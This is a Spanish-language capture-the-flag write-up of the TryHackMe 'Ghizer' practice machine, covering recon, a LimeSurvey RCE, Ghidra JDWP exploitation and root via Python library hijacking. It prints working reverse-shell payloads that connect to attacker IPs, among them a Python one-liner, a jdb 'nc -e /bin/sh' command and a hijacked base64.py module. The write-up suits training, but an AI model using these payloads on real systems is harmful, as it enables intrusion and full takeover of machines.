Contents

TryHackMe - Ghizer

TryHackMe - Ghizer

Ghizer es una maquina de TryHackMe, encontramos un HoneyPot en el puerto FTP. Explotamos un RCE en LimeSurvey lo que nos dio acceso a la maquina. Encontramos JDWP el cual nos conectamos para obtener acceso al siguiente usuario. Tenemos permisos para ejecutar un script con Python3 al cual realizamos Python Library Hijacking para escalar privilegios.

Room

Descripcionlucrecia has installed multiple web applications on the server.
Puntos220
DificultadMEDIA
Makerstuxnet

Recon

nmap

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), http (80), ssl/https (443), servicio de java(?) (18002) y algunos otros puertos abiertos que no logramos obtener informacion.

bash
  1Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-04 18:24 EDT
  2Nmap scan report for 10.10.26.105 (10.10.26.105)
  3Host is up (0.31s latency).
  4Not shown: 997 closed ports
  5PORT    STATE SERVICE  VERSION
  621/tcp  open  ftp?
  780/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
  8443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
  91 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
 10SF-Port21-TCP:V=7.80%I=7%D=9/4%Time=5F52BEA9%P=x86_64-pc-linux-gnu%r(NULL,
 11SF:33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203
 12SF:\.0\.3\)\n")%r(GenericLines,58,"220\x20Welcome\x20to\x20Anonymous\x20FT
 13SF:P\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x2
 14SF:0USER\x20and\x20PASS\.\n")%r(Help,58,"220\x20Welcome\x20to\x20Anonymous
 15SF:\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20w
 16SF:ith\x20USER\x20and\x20PASS\.\n")%r(GetRequest,58,"220\x20Welcome\x20to\
 17SF:x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x
 18SF:20login\x20with\x20USER\x20and\x20PASS\.\n")%r(HTTPOptions,58,"220\x20W
 19SF:elcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n53
 20SF:0\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(RTSPRequest
 21SF:,58,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x20
 22SF:3\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%
 23SF:r(RPCCheck,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(
 24SF:vsFTPd\x203\.0\.3\)\n")%r(DNSVersionBindReqTCP,58,"220\x20Welcome\x20to
 25SF:\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\
 26SF:x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(DNSStatusRequestTCP,58,
 27SF:"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0
 28SF:\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(SS
 29SF:LSessionReq,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\
 30SF:(vsFTPd\x203\.0\.3\)\n")%r(TerminalServerCookie,33,"220\x20Welcome\x20t
 31SF:o\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(TLSSessi
 32SF:onReq,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTP
 33SF:d\x203\.0\.3\)\n")%r(Kerberos,33,"220\x20Welcome\x20to\x20Anonymous\x20
 34SF:FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(SMBProgNeg,33,"220\x20Welc
 35SF:ome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(
 36SF:X11Probe,58,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vs
 37SF:FTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PAS
 38SF:S\.\n")%r(FourOhFourRequest,58,"220\x20Welcome\x20to\x20Anonymous\x20FT
 39SF:P\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x2
 40SF:0USER\x20and\x20PASS\.\n");
 41
 42Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 43Nmap done: 1 IP address (1 host up) scanned in 202.88 seconds
 44
 45Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-04 18:25 EDT
 46Warning: 10.10.26.105 giving up on port because retransmission cap hit (2).
 47Nmap scan report for ghizer.thm (10.10.26.105)
 48Host is up (0.25s latency).
 49Not shown: 64833 closed ports, 696 filtered ports
 50PORT      STATE SERVICE
 5121/tcp    open  ftp
 5280/tcp    open  http
 53443/tcp   open  https
 5418002/tcp open  unknown
 5536625/tcp open  unknown
 5645775/tcp open  unknown
 57
 58Nmap scan report for ghizer.thm (10.10.26.105)
 59Host is up (0.25s latency).
 60
 61PORT      STATE  SERVICE  VERSION
 6221/tcp    open   ftp?
 63| fingerprint-strings: 
 64|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest, X11Probe: 
 65|     220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
 66|     Please login with USER and PASS.
 67|   Kerberos, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
 68|_    220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
 6980/tcp    open   http     Apache httpd 2.4.18 ((Ubuntu))
 70|_http-generator: LimeSurvey http://www.limesurvey.org
 71|_http-server-header: Apache/2.4.18 (Ubuntu)
 72|_http-title:         LimeSurvey    
 73443/tcp   open   ssl/ssl  Apache httpd (SSL-only mode)
 74|_http-generator: WordPress 5.4.2
 75|_http-server-header: Apache/2.4.18 (Ubuntu)
 76|_http-title: Ghizer – Just another WordPress site
 77| ssl-cert: Subject: commonName=ubuntu
 78| Not valid before: 2020-07-23T17:27:31
 79|_Not valid after:  2030-07-21T17:27:31
 80|_ssl-date: TLS randomness does not represent time
 81| tls-alpn: 
 82|_  http/1.1
 8318002/tcp open   java-rmi Java RMI
 84| rmi-dumpregistry: 
 85|   jmxrmi
 86|     javax.management.remote.rmi.RMIServerImpl_Stub
 87|     @127.0.1.1:33943
 88|     extends
 89|       java.rmi.server.RemoteStub
 90|       extends
 91|_        java.rmi.server.RemoteObject
 9236625/tcp closed unknown
 9345775/tcp closed unknown
 941 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
 95SF-Port21-TCP:V=7.80%I=7%D=8/14%Time=5F365C14%P=x86_64-pc-linux-gnu%r(NULL
 96SF:,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x20
 97SF:3\.0\.3\)\n")%r(GenericLines,58,"220\x20Welcome\x20to\x20Anonymous\x20F
 98SF:TP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x
 99SF:20USER\x20and\x20PASS\.\n")%r(Help,58,"220\x20Welcome\x20to\x20Anonymou
100SF:s\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20
101SF:with\x20USER\x20and\x20PASS\.\n")%r(GetRequest,58,"220\x20Welcome\x20to
102SF:\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\
103SF:x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(HTTPOptions,58,"220\x20
104SF:Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n5
105SF:30\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(RTSPReques
106SF:t,58,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x2
107SF:03\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")
108SF:%r(RPCCheck,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\
109SF:(vsFTPd\x203\.0\.3\)\n")%r(DNSVersionBindReqTCP,58,"220\x20Welcome\x20t
110SF:o\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please
111SF:\x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(DNSStatusRequestTCP,58
112SF:,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.
113SF:0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(S
114SF:SLSessionReq,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20
115SF:\(vsFTPd\x203\.0\.3\)\n")%r(TerminalServerCookie,33,"220\x20Welcome\x20
116SF:to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(TLSSess
117SF:ionReq,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFT
118SF:Pd\x203\.0\.3\)\n")%r(Kerberos,33,"220\x20Welcome\x20to\x20Anonymous\x2
119SF:0FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(SMBProgNeg,33,"220\x20Wel
120SF:come\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r
121SF:(X11Probe,58,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(v
122SF:sFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PA
123SF:SS\.\n")%r(FourOhFourRequest,58,"220\x20Welcome\x20to\x20Anonymous\x20F
124SF:TP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x
125SF:20USER\x20and\x20PASS\.\n");
126
127Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

FTP

Ingresamos por el servicio FTP con las credenciales de anonymous (anonymous:anonymous) en el cual encontramos varios archivos entre ellos las flag root.txt y user.txt, al intentar obtener uno de estos archivos muestra un mensaje de permiso denegado por lo que no logramos hacer nada en este servicio, además es muy raro porque comunmente es posible realizar ls -lah para observar los archivos ocultos, algo que no se pudo lograr en este servicio.

bash
 1kali@kali:~/thm/ghizer$ ftp ghizer.thm 
 2Connected to ghizer.thm.
 3220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
 4Name (ghizer.thm:kali): anonymous
 5331 Please specify the password.
 6Password:
 7230 Login successful.
 8Remote system type is UNIX.
 9Using binary mode to transfer files.
10ftp> ls
11200 PORT command successful. Consider using PASV.
12150 Here comes the directory listing.
13-r-x------    1 0        0            1351  Feb 7   2019 client.py
14-r-x------    1 0        0            54324 Feb 7   2019 test.c
15-r-x------    1 0        0            1024  Nov 28  2019 prototype.c
16-rwx------    1 0        0            4096  Jan 4   2019 root.txt
17-r-x------    1 0        0            45550 Dec 12  2019 user.txt
18-r-x------    1 0        0            45550 Dec 12  2019 i_honeypot.py
19226 Directory send OK.
20ftp> get user.txt
21local: user.txt remote: user.txt
22Permission denied.
23200 PORT command successful. Consider using PASV.
24550 Permission denied.
25ftp> pwd
26257 "/home/lucrecia/ftp/" is the current directory
27ftp> get root.txt
28local: root.txt remote: root.txt
29Permission denied.
30200 PORT command successful. Consider using PASV.
31550 Permission denied.
32ftp> bye
33221 Goodbye.
34kali@kali:~/thm/ghizer$

Web Site

Encontramos una pagina web en el puerto 80, al parecer es una aplicacion web para realizar encuestas.

image

Gobuster

Utilizamos gobuster para busqueda de directorios y archivos.

bash
 1kali@kali:~/thm/ghizer$ gobuster dir -u http://ghizer.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q -t 50 -x php,html,txt
 2/index.php (Status: 200)
 3/docs (Status: 301)
 4/themes (Status: 301)
 5/admin (Status: 301)
 6/assets (Status: 301)
 7/upload (Status: 301)
 8/tests (Status: 301)
 9/plugins (Status: 301)
10/application (Status: 301)
11/tmp (Status: 301)
12/framework (Status: 301)
13/locale (Status: 301)
14/installer (Status: 301)
15/third_party (Status: 301)
16/server-status (Status: 403)

User - www-data via LimeSurvey RCE

Encontramos un exploit que afecta a esta aplicacion la cual necesita unas credenciales para subir una shell y ejecutar comandos, utilizamos las credenciales por defecto y ejecutamos el exploit con los parametros necesarios. Vemos que el usuario que esta ejecutando la aplicacion es www-data.

image

Actualizamos a una nueva shell en donde podamos realizar una enumeracion más comoda ejecutando una shell inversa de python.

bash
1python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.29.162",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

User - Veronica via Ghidra RCE

Realizamos una enumeracion en la maquina y vemos que en el directorio principal de la usuario veronica esta Ghidra, además de ello vemos los puertos abiertos en la maquina (ojo con 18001).

image

image

Exploramos las vulnerabilidades en ghidra y al principio vimos el exploit Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution que necesita un archivo de project.gar el cual se puede crear en Ghidra a partir de un proyecto, pero este exploit necesita una interaccion con la interfaz visual de Ghidra. Tambien encontramos la vulnerabilidad Remote Code Execution Through JDWP Debug Port el cual afecta a la version 9.0.4. En esta vulnerabilidad Ghidra abre en modo debug JDWP lo cual permite conectarse al puerto 18001 de localhost.

image

Tenemos acceso al puerto (18001) localmente con la shell actual por lo que realizamos la explotacion como en la demostracion de la exploitacion, a continuacion los comandos.

bash
1#Conexion a jdwp
2jdb -attach localhost:18001
3#Listar las clases disponibles
4#classpath
5stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
6#Ejecucion de la shell inversa
7print new java.lang.Runtime().exec("nc 10.10.10.10 1337 -e /bin/sh")

image

Logramos obtener nuestra flag user.txt y una shell con la usuario Veronica.

image

Privesc

Hacemos una pequeña enumeracion en la carpeta principal de veronica y vemos un script en python el cual codifica el mensaje tryhackme is the best y además la variable podria darnos una pista de lo que debemos de hacer.

python
1import base64
2
3hijackme = base64.b64encode(b'tryhackme is the best')
4print(hijackme)

Además vemos un cron que ejecuta el usuario root.

image

Tambien al realizar sudo -l -l vemos que podemos ejecutar /usr/bin/python3.5 /home/veronica/base.py con sudo.

image

Creamos el archivo base64.py en donde colocamos una shell inversa para realizar Python Library Hijacking.

base.py python
 1import os
 2import pty
 3import socket
 4
 5lhost = "10.10.10.10"
 6lport = 1337
 7
 8ZIP_DEFLATED = 0
 9
10class ZipFile:
11    def close(*args):
12        return
13
14    def write(*args):
15        return
16
17    def __init__(self, *args):
18        return
19
20s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21s.connect((lhost, lport))
22os.dup2(s.fileno(),0)
23os.dup2(s.fileno(),1)
24os.dup2(s.fileno(),2)
25os.putenv("HISTFILE",'/dev/null')
26pty.spawn("/bin/bash")
27s.close()

Ejecutamos el script con python3 y sudo, ponemos a la escucha netcat en nuestra maquina y logramos obtener una shell con usuario root y nuestra flag root.txt.

image

Anexo

Honeypot - FTP

Al parecer el servicio FTP expuesto en la maquina es un honeypot llamado Lucrecia.

image

Además el cron que encontramos era para ejecutar el honeypot.

bash
1root@ubuntu:/root/Lucrecia# cat lucre.sh
2cat lucre.sh
3ufw disable
4sleep 3
5python3 lucrecia.py -f server.conf

Task 1

Al obtener una shell es posible obtener las credenciales en …

limesurvey/application/config

bash
 1veronica@ubuntu:/var/www/html/limesurvey/application/config$ cat config.php
 2cat config.php
 3<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
 4/*
 5| -------------------------------------------------------------------
 6| DATABASE CONNECTIVITY SETTINGS
 7| -------------------------------------------------------------------
 8| This file will contain the settings needed to access your database.
 9|
10| For complete instructions please consult the 'Database Connection'
11| page of the User Guide.
12|
13| -------------------------------------------------------------------
14| EXPLANATION OF VARIABLES
15| -------------------------------------------------------------------
16|
17|    'connectionString' Hostname, database, port and database type for 
18|     the connection. Driver example: mysql. Currently supported:
19|                 mysql, pgsql, mssql, sqlite, oci
20|    'username' The username used to connect to the database
21|    'password' The password used to connect to the database
22|    'tablePrefix' You can add an optional prefix, which will be added
23|                 to the table name when using the Active Record class
24|
25*/
26return array(
27	'components' => array( 
28		'db' => array(
29			'connectionString' => 'mysql:host=localhost;port=3306;dbname=limedb;',
30			'emulatePrepare' => true,
31			'username' => '[... REDACTED ...]',
32			'password' => '[... REDACTED ...]',
33			'charset' => 'utf8mb4',
34			'tablePrefix' => 'lime_',
35		),
36		
37		// Uncomment the following lines if you need table-based sessions.
38		// Note: Table-based sessions are currently not supported on MSSQL server.
39		// 'session' => array (
40			// 'class' => 'application.core.web.DbHttpSession',
41			// 'connectionID' => 'db',
42			// 'sessionTableName' => '{{sessions}}',
43		// ),
44		
45		'urlManager' => array(
46			'urlFormat' => 'path',
47			'rules' => array(
48				// You can add your own rules here
49			),
50			'showScriptName' => true,
51		),
52	
53	),
54	// For security issue : it's better to set runtimePath out of web access
55	// Directory must be readable and writable by the webuser
56	// 'runtimePath'=>'/var/limesurvey/runtime/'
57	// Use the following config variable to set modified optional settings copied from config-defaults.php
58	'config'=>array(
59	// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
60	// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
61	// on your webspace.
62	// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
63		'debug'=>0,
64		'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
65		// Update default LimeSurvey config here
66	)
67);
68/* End of file config.php */
69/* Location: ./application/config/config.php */

Task 2

En el puerto 443 o https encontramos un mensaje en el index, donde indica que la pagina del login de wordpress ha sido escondida con el plugin WPS Hide Login …

… es posible encontrar la pagina de login en el footer.

image

sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev TryHackMe - Wonderland
Next TryHackMe - RootMe